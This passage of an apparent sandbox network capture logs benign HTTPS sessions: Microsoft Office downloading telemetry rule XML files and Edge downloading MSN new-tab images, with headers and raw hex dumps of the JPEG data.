2024-11-27 23:19:53 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:53 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:53 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1bbe3829-001e-0079-0e66-4012e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231953Z-174f78459685726chC1EWRsnbg0000000xk000000000mpza x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:53 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49913	23.59.251.218	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:53 UTC	634	OUT	GET /tenant/amp/entityid/BB1msB1P.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:54 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 18:22:53 GMT X-Datacenter: eastus X-ActivityId: 73d94375-d35b-43fd-8e68-bf549e16ce39 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msB1P X-Source-Length: 105715 Content-Length: 105715 Cache-Control: public, max-age=111786 Expires: Fri, 29 Nov 2024 06:22:59 GMT Date: Wed, 27 Nov 2024 23:19:53 GMT Connection: close
2024-11-27 23:19:54 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 23:19:54 UTC	16384	IN	Data Raw: d1 34 48 97 92 c1 2d cb 56 83 08 76 d8 25 b9 6e c3 08 57 57 56 db 02 b0 e9 0c af 1c 17 60 a1 b6 57 8d 0e c1 b6 c8 db 43 b0 70 f6 19 1e 4b 62 b2 b0 dc 3d 97 92 cc 83 31 c3 70 dc b7 89 99 06 63 86 e1 e6 27 92 d5 a1 e6 3c 2d c3 c9 6e 5a b4 56 66 c3 70 f2 5b 96 ed 0b 32 d0 f6 1d 24 b7 25 bb 41 99 78 75 75 96 e5 96 80 23 c8 74 96 e5 96 05 e1 e3 ac ba cb 2c 61 5e 31 cb 72 d5 85 17 7b 46 37 8c b1 d0 4a 3c 74 6d 96 14 5a 8f 1d 5b 60 cd 78 f1 eb 06 36 de 36 d8 0d b6 db 6c 06 f1 eb ab 63 35 b7 8d ba 18 de 3d 6d b2 4c 6d e3 6c 03 5b 78 f1 80 59 b7 46 d8 05 db 74 78 c0 08 db 1b 6d 00 47 92 e8 db 65 17 96 dd 1b 68 0b 36 ea f5 80 6b 6f 1b 60 1a db c6 db 03 5b 78 db 00 d6 de 36 c0 35 e3 6d b0 06 db 6d b6 03 6d e3 6c 03 5e 3c 6d 80 36 de 3c 60 0d b6 db 60 18 f1 b6 d8 33 Data Ascii: 4H-Vv%nWWV`WCpKb=1pc'<-nZVfp[2$%Axuu#t,a^1r{F7J<tmZ[`x66lc5=mLml[xYFtxmGeh6ko`[x65mmml^<m6<``3
2024-11-27 23:19:54 UTC	2220	IN	Data Raw: 16 84 25 f4 f3 54 2a 7f c4 c0 3d e5 c6 dd 91 f1 21 5d d5 fb 35 93 69 49 d4 1e e7 50 a5 0d 8d e3 0f 01 35 36 96 13 e5 2a c2 0e 92 ca 91 74 9c c5 75 3f a3 94 50 93 50 4a 0f 0d 3b 9c 15 5c bd 68 c2 ce 29 d0 c1 8e fd 1d 5e 23 44 e3 b5 32 72 25 0a aa c9 e7 11 d9 21 aa 2b a8 90 00 04 78 12 7d c3 b5 a0 21 33 52 49 ac 67 af 2a 49 6a 98 ae 00 62 3c 64 81 e0 05 5c 49 1d 0b 76 59 00 bc bc 04 ce 22 69 53 f8 98 ee 60 b6 54 a0 54 0e 11 48 93 04 9e 1c 39 97 15 61 2a 56 25 a8 ac f2 1c fc 34 d8 1a 92 52 54 02 ae 0c 09 88 09 12 29 c6 b4 75 92 47 2b 59 d9 11 45 6b 20 22 aa d2 98 a4 f0 d6 44 e6 f4 20 58 50 a2 89 e4 8a 6d 05 5f 6e f6 b0 95 ee 44 a6 38 64 c4 a2 0a 65 50 49 e1 04 7b e5 ac 59 6e c8 30 d2 de 1d 3d 41 18 3c 9b b0 64 04 fa 47 89 67 37 79 38 00 db 59 91 00 8a 4c 7b Data Ascii: %T=!]5iIP56tu?PPJ;\h)^#D2r%!+x}!3RIgIjb<d\IvY"iS`TTH9aV%4RT)uG+YEk "D XPm_nD8dePI{Yn0=A<dGg7y8YL{
2024-11-27 23:19:54 UTC	16384	IN	Data Raw: 32 a0 27 98 d7 f4 71 8f 4f 6d 1f eb 23 10 15 15 89 e0 73 da f4 8f 5b a3 27 56 d3 e5 4d ef f2 b1 61 60 37 4e 32 c4 3b 6f 06 4a 0a d9 f8 b8 c4 cb f4 93 b5 64 17 93 c5 cb b5 0a d5 a7 89 fc 5a 8d aa 3b 11 2c a1 80 82 34 72 77 8e 86 e2 5b 11 09 57 4a 72 05 c4 37 67 20 d4 8a 50 b7 09 56 7f 2f 73 43 30 5d 19 f6 17 4b 87 78 98 4d c5 27 eb 83 c3 61 49 82 a2 00 3c 6b 1e e7 45 5e e9 ad f9 70 cf 32 75 d7 23 93 c5 eb 25 ba e5 fd a5 e1 23 04 75 09 f8 6f a7 62 a4 fb 43 50 b6 16 47 9c a4 9f f1 fd 1e d9 b8 16 3c d6 80 a8 f3 55 22 38 49 d7 8b 99 f3 09 b7 29 40 11 cc 0d 7c 4e bd cf 96 7d 64 61 95 67 ca d7 aa c7 81 73 29 51 ac 0d a5 ec 25 5a 94 fd dc 0b b7 f1 99 50 13 14 99 87 0f e6 63 48 f0 03 ec e3 e7 93 59 42 4d f8 24 4e 11 de e8 24 93 6a 0f f8 fd 8f dd a5 fc b5 d9 fd 92 Data Ascii: 2'qOm#s['VMa`7N2;oJdZ;,4rw[WJr7g PV/sC0]KxM'aI<kE^p2u#%#uobCPG<U"8I)@\|N}dags)Q%ZPcHYBM$N$j
2024-11-27 23:19:54 UTC	16384	IN	Data Raw: 9a 7e e8 f6 07 5d d1 09 42 c0 04 98 26 29 31 f8 b8 c5 06 74 ce ba d3 c4 02 d7 09 42 46 7f f6 af b0 77 34 f5 94 98 92 12 39 02 67 df 0f 48 4d b6 02 7a 92 3e b1 49 ec 3e d7 0d 63 48 03 b5 a8 29 48 d3 11 1e 3f 8b 84 ab 83 22 ae f3 ee 7d f1 b2 08 25 31 f9 7b 5d 30 1e 0e 5e 2f f2 2f 3e b4 05 f5 66 22 2e 0e 1d af 70 fd 4b 94 7c 3b 9d 23 88 ee 65 88 8d 87 ea 5d 22 1c 83 b4 76 b1 c3 b0 05 0e b0 cc 5d 21 d8 03 87 af 5e 87 40 58 07 86 59 3c b9 bc a3 90 02 5d 59 0b a6 17 60 51 eb 24 32 61 6e c0 10 64 14 77 c1 c1 ee 17 0d 80 27 56 58 87 9d cc 40 07 b9 e3 23 af 73 a0 07 e2 f1 93 b9 bf 17 40 51 b7 7f 17 90 c0 28 df 83 bc 3c c2 d8 14 6d db 0e d6 e1 80 55 eb b4 37 0c 02 ad bb c3 58 b1 ea de b3 a9 83 6e c5 c5 03 e9 11 85 3f bc a8 0f 39 4e 30 57 29 28 ae 2e be 23 11 9d 84 Data Ascii: ~]B&)1tBFw49gHMz>I>cH)H?"}%1{]0^//>f".pK\|;#e]"v]!^@XY<]Y`Q$2andw'VX@#s@Q(<mU7Xn?9N0W)(.#
2024-11-27 23:19:54 UTC	7952	IN	Data Raw: 75 b0 2c 7a ad 27 7b 79 38 8d 54 12 71 28 9d 74 d7 66 81 f2 37 7a ab f7 a5 2b ea 6e 6c 07 08 8d 89 00 17 13 77 68 53 19 d9 a7 7f 27 cb 2e ba 0b e9 8c 9b e2 b2 f6 7e e3 d9 e8 26 75 dd 6f 51 d7 15 a5 29 b8 9b 26 84 7c 25 40 64 64 e9 cc 34 a1 62 e1 10 7c a3 90 d9 c6 84 1e 0c 9b cd d2 3c 84 72 a1 c4 66 b9 38 c6 ed f5 1f 84 a6 92 56 af 28 d3 41 cd f9 52 d4 d4 d4 6d da f1 0d db 82 6e 50 a1 e5 89 30 3c da e5 f0 98 a4 f2 87 89 bf 71 6b 4a 6d a6 42 7c b8 c1 94 a7 87 1a 3a e3 8f 32 ae c4 88 85 0f 2d 33 1c 5c 9b 7b e2 90 13 69 04 9a cf c2 8e 55 98 cb 6b c9 ee cf 3e 57 95 7b 6a c4 1a c6 ef a7 2a 52 94 54 b5 0f 88 c8 a4 e5 b6 20 cb 0d c0 3a e0 13 81 69 b4 4e 25 5c cf fa 06 6e 47 cb 5b 51 fe e2 b1 eb 23 44 8e e3 2e 52 af 59 44 56 20 08 03 21 11 14 e4 f9 ef 3b 8d b9 73 Data Ascii: u,z'{y8Tq(tf7z+nlwhS'.~&uoQ)&\|%@dd4b\|<rf8V(ARmnP0<qkJmB\|:2-3\{iUk>W{j*RT :iN%\nG[Q#D.RYDV !;s
2024-11-27 23:19:54 UTC	16384	IN	Data Raw: 92 3b 61 b8 7e 55 a5 09 5b 72 92 e3 5e a0 b3 b3 3f f2 4e b5 0a 1f b2 50 19 46 be 3f 67 5b 9f f2 5e b5 63 c8 9b 68 98 ca 4f 6b e1 b0 7f 93 71 57 ea 7c 97 4b 93 ed 41 d7 02 6d 9d d0 ff 00 93 75 73 17 2d 5a 50 11 48 50 ff 00 c9 cc 1f f2 5b be 8d 9b 51 c6 69 db 57 e7 d2 34 2f 60 3c df 45 d2 bf f6 92 f2 ba f8 86 67 a3 8f f9 45 e9 1f d9 b3 4d 7e 2f bb bd cf f9 35 d8 50 45 84 a6 47 95 60 e2 23 bc 43 f3 40 13 31 1b 19 05 0d 1e 7f 21 d2 ff 00 f3 5e fa f8 8e ce 91 5e be eb ee 05 0d e9 ae 84 52 2b 5d 1c 0b bd 77 53 7c 27 1d fb b2 91 4f 31 a4 eb 9b 4c 92 83 29 24 7d 68 c8 2f 08 aa 07 70 99 7d 4b 47 4e 3f 46 94 17 92 5e 81 58 25 1b 8b 3f dc 52 c9 8d 49 74 06 e2 27 cc a0 9f cb 58 76 07 15 05 38 64 ed 2b 8a f7 7b 9f 4f 0a 5e 54 01 ad de 5a 47 95 6a 4c d0 c1 30 76 87 0d Data Ascii: ;a~U[r^?NPF?g[^chOkqW\|KAmus-ZPHP[QiW4/`<EgEM~/5PEG`#C@1!^^R+]wS\|'O1L)$}h/p}KGN?F^X%?RIt'Xv8d+{O^TZGjL0v
2024-11-27 23:19:54 UTC	14144	IN	Data Raw: 0c a3 93 e8 4d 3d f9 13 42 d2 6f e0 09 9c 2b 04 0a 56 93 97 86 75 72 96 b0 6c d2 80 19 e3 a3 e6 66 20 72 6a 16 ee 11 47 cb a9 a4 b2 69 6d bf 31 d9 1b 7a 67 52 4f 1a fb 5e ef 04 cc c3 52 c2 85 7c 49 11 cc 7b db 3d 3a 2f 11 09 c0 38 7b f3 96 77 21 b5 35 c7 20 cc 8d 8d 2b a9 ac 7d 6c 62 50 06 a9 f1 64 5f 4c 51 49 1b 64 31 60 50 49 a5 69 f5 f7 74 b0 ef 4c 43 0b 11 38 73 73 ad dd 99 15 8d 78 38 01 5c c0 19 72 97 54 12 9a 35 28 da 79 00 b2 6e 28 10 a4 a8 83 ab e8 fa 4f 5b f5 06 ea 51 76 00 54 00 a3 48 e3 2f 8b 4d c2 0c 17 3d 24 69 13 ee fb 3e 0d 5d 18 4a 35 28 a7 96 4f 6a 2c f6 2c 57 15 15 42 c1 e4 42 bd be c7 11 7d 3d b5 d5 76 12 76 02 93 ff 00 42 fc c0 aa ea 2a 9b 85 20 54 42 8f b1 ac 74 fe b8 bd 6d 50 a3 8b 8a b3 1c df 82 fa 3d 48 ab d3 92 7e 57 16 5d 9d 4f Data Ascii: M=Bo+Vurlf rjGim1zgRO^R\|I{=:/8{w!5 +}lbPd_LQId1`PIitLC8ssx8\rT5(yn(O[QvTH/M=$i>]J5(Oj,,WBB}=vvB* TBtmP=H~W]O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49911	23.59.251.218	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:53 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:54 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=260869 Expires: Sat, 30 Nov 2024 23:47:42 GMT Date: Wed, 27 Nov 2024 23:19:53 GMT Connection: close
2024-11-27 23:19:54 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 23:19:54 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-27 23:19:54 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-27 23:19:54 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-27 23:19:54 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-27 23:19:54 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-27 23:19:54 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
